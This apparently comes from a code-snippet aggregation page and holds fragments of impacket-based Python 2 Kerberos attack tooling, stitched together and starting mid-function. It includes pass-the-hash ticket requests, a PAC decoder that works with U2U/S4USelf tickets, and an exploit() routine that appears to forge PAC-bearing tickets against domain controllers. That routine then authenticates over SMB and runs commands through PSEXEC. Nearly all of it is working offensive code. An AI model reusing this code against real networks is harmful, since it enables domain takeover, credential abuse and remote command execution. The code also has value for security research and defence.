            print paForUserEnc.prettyPrint()

        encodedPaForUserEnc = encoder.encode(paForUserEnc)

        tgsReq['padata'][1] = noValue
        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append( constants.KDCOptions.forwardable.value )
        opts.append( constants.KDCOptions.renewable.value )
        opts.append( constants.KDCOptions.renewable_ok.value )
        opts.append( constants.KDCOptions.canonicalize.value )
        opts.append(constants.KDCOptions.enc_tkt_in_skey.value)

        reqBody['kdc-options'] = constants.encodeFlags(opts)

        serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
        #serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = str(decodedTGT['crealm'])

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)
        seq_set_iter(reqBody, 'etype',
                      (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))

        # If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf
        myTicket = ticket.to_asn1(TicketAsn1())
        seq_set_iter(reqBody, 'additional-tickets', (myTicket,))

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('Final TGS')
            print tgsReq.prettyPrint()

        message = encoder.encode(tgsReq)

        r = sendReceive(message, self.__domain, None)

        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('TGS_REP')
            print tgs.prettyPrint()

        cipherText = tgs['ticket']['enc-part']['cipher']

        # Key Usage 2
        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
        #  application session key), encrypted with the service key
        #  (section 5.4.2)

        newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]

        # Pass the hash/aes key :P
        if self.__nthash != '':
            key = Key(newCipher.enctype, self.__nthash.decode('hex'))
        else:
            if newCipher.enctype == Enctype.RC4:
                key = newCipher.string_to_key(password, '', None)
            else:
                key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None)

        try:
            # If is was plain U2U, this is the key
            plainText = newCipher.decrypt(key, 2, str(cipherText))
        except:
            # S4USelf + U2U uses this other key
            plainText = cipher.decrypt(sessionKey, 2, str(cipherText))

        self.printPac(plainText)
    def run(self):

        # Do we have a TGT cached?
        tgt = None
        try:
            ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
            if options.target_domain:
                if options.via_domain:
                    principal = 'krbtgt/%s@%s' % (options.target_domain.upper(
                    ), options.via_domain.upper())
                else:
                    principal = 'krbtgt/%s@%s' % (
                        options.target_domain.upper(), self.__domain.upper())
            else:
                principal = 'krbtgt/%s@%s' % (self.__domain.upper(),
                                              self.__domain.upper())
            # For just decoding a TGS, override principal
            # principal = 'cifs/[email protected]'
            creds = ccache.getCredential(principal, False)
            creds.dump()
            if creds is not None:
                # For just decoding a TGS, use toTGS()
                TGT = creds.toTGT()
                tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT[
                    'sessionKey']
                oldSessionKey = sessionKey
                logging.info('Using TGT from cache')
            else:
                logging.error("No valid credentials found in cache. ")
                return
        except:
            # No cache present
            logging.error("Cache file not valid or not found")
            return

        print
        # Print TGT
        # For just decoding a TGS, use TGS_REP()
        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        cipherText = decodedTGT['ticket']['enc-part']['cipher']
        newCipher = _enctype_table[int(
            decodedTGT['ticket']['enc-part']['etype'])]

        # hash / AES key for the TGT / TGS goes here
        self.__nthash = 'yourhashhere'
        if self.__nthash != '':
            key = Key(newCipher.enctype, self.__nthash.decode('hex'))

        try:
            # If is was plain U2U, this is the key
            plainText = newCipher.decrypt(key, 2, str(cipherText))
        except:
            # S4USelf + U2U uses this other key
            plainText = cipher.decrypt(sessionKey, 2, str(cipherText))

        # Print PAC in human friendly form
        self.printPac(plainText, True)

        # Get TGS and print it
        logging.info('Getting ST for user')
        serverName = Principal(
            self.__options.spn,
            type=constants.PrincipalNameType.NT_SRV_INST.value)
        if options.target_domain:
            domain = options.target_domain
        else:
            domain = self.__domain
        print domain
        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
            serverName,
            domain,
            self.__kdcHost,
            tgt,
            cipher,
            sessionKey,
            clientrealm=self.__domain)
        self.__saveFileName = self.__user

        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('TGS_REP')
            print decodedTGS.prettyPrint()

        # Get PAC

        cipherText = decodedTGS['ticket']['enc-part']['cipher']

        # Key Usage 2
        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
        #  application session key), encrypted with the service key
        #  (section 5.4.2)

        newCipher = _enctype_table[int(
            decodedTGS['ticket']['enc-part']['etype'])]

        # hash / AES key for the TGT / TGS goes here
        self.__nthash = 'yourhashhere'
        if self.__nthash != '':
            key = Key(newCipher.enctype, self.__nthash.decode('hex'))

        try:
            # If is was plain U2U, this is the key
            plainText = newCipher.decrypt(key, 2, str(cipherText))
        except:
            # S4USelf + U2U uses this other key
            plainText = cipher.decrypt(sessionKey, 2, str(cipherText))

        # Print PAC in human friendly form
        self.printPac(plainText)

        # Save the ticket in case we want to use it later
        self.saveTicket(tgs, oldSessionKey)
Beispiel #14
0
        if encryptionTypesData.has_key(enctype) is False:
            continue

        # Let's build the timestamp
        timeStamp = PA_ENC_TS_ENC()

        now = datetime.datetime.utcnow() 
        timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
        timeStamp['pausec'] = now.microsecond

        # Encrypt the shyte
        cipher = _enctype_table[enctype]

        # Pass the hash/aes key :P
        if nthash != '':
            key = Key(cipher.enctype, nthash)
        elif aesKey != '':
            key = Key(cipher.enctype, aesKey.decode('hex'))
        else:
            key = cipher.string_to_key(password, encryptionTypesData[enctype], None)
        encodedTimeStamp = encoder.encode(timeStamp)

        # Key Usage 1
        # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the 
        # client key (Section 5.2.7.2)
        encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)

        encryptedData = EncryptedData()
        encryptedData['etype'] = cipher.enctype
        encryptedData['cipher'] = encriptedTimeStamp
        encodedEncryptedData = encoder.encode(encryptedData)
Beispiel #15
0
    def exploit(self):
        if self.__kdcHost is None:
            getDCs = True
            self.__kdcHost = self.__domain
        else:
            getDCs = False

        self.__domainSid, self.__rid = self.getUserSID()
        try:
            self.__forestSid = self.getForestSid()
        except Exception as e:
            # For some reason we couldn't get the forest data. No problem, we can still continue
            # Only drawback is we won't get forest admin if successful
            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
            self.__forestSid = None

        if getDCs is False:
            # User specified a DC already, no need to get the list
            self.__domainControllers.append(self.__kdcHost)
        else:
            self.__domainControllers = self.getDomainControllers()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        for dc in self.__domainControllers:
            logging.info('Attacking domain controller %s' % dc)
            self.__kdcHost = dc
            exception = None
            while True:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                            self.__lmhash, self.__nthash, None,
                                                                            self.__kdcHost, requestPAC=False)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash == '' and self.__nthash == '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                            continue
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break

                # So, we have the TGT, now extract the new session key and finish
                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

                # If the cypher in use != RC4 there's gotta be a salt for us to use
                salt = ''
                if asRep['padata']:
                    for pa in asRep['padata']:
                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                            etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                            salt = etype2['salt'].prettyPrint()

                cipherText = asRep['enc-part']['cipher']

                # Key Usage 3
                # AS-REP encrypted part (includes TGS session key or
                # application session key), encrypted with the client key
                # (Section 5.4.2)
                if self.__nthash != '':
                    key = Key(cipher.enctype,self.__nthash)
                else:
                    key = cipher.string_to_key(self.__password, salt, None)

                plainText = cipher.decrypt(key, 3, cipherText)
                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
                authTime = encASRepPart['authtime']

                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
                                                                             cipher, sessionKey, authTime)

                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
                try:
                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
                                                                                        self.__kdcHost, tgs, cipher,
                                                                                        sessionKey)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash == '' and self.__nthash == '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break
                else:
                    # Everything went well, let's save the ticket if asked and leave
                    if self.__writeTGT is not None:
                        from impacket.krb5.ccache import CCache
                        ccache = CCache()
                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                        ccache.saveFile(self.__writeTGT)
                    break
            if exception is None:
                # Success!
                logging.info('%s found vulnerable!' % dc)
                break
            else:
                logging.info('%s seems not vulnerable (%s)' % (dc, exception))

        if exception is None:
            TGS = {}
            TGS['KDC_REP'] = tgsCIFS
            TGS['cipher'] = cipher
            TGS['oldSessionKey'] = oldSessionKeyCIFS
            TGS['sessionKey'] = sessionKeyCIFS

            from impacket.smbconnection import SMBConnection
            if self.__targetIp is None:
                s = SMBConnection('*SMBSERVER', self.__target)
            else:
                s = SMBConnection('*SMBSERVER', self.__targetIp)
            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
                            useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
                executer.run(self.__target)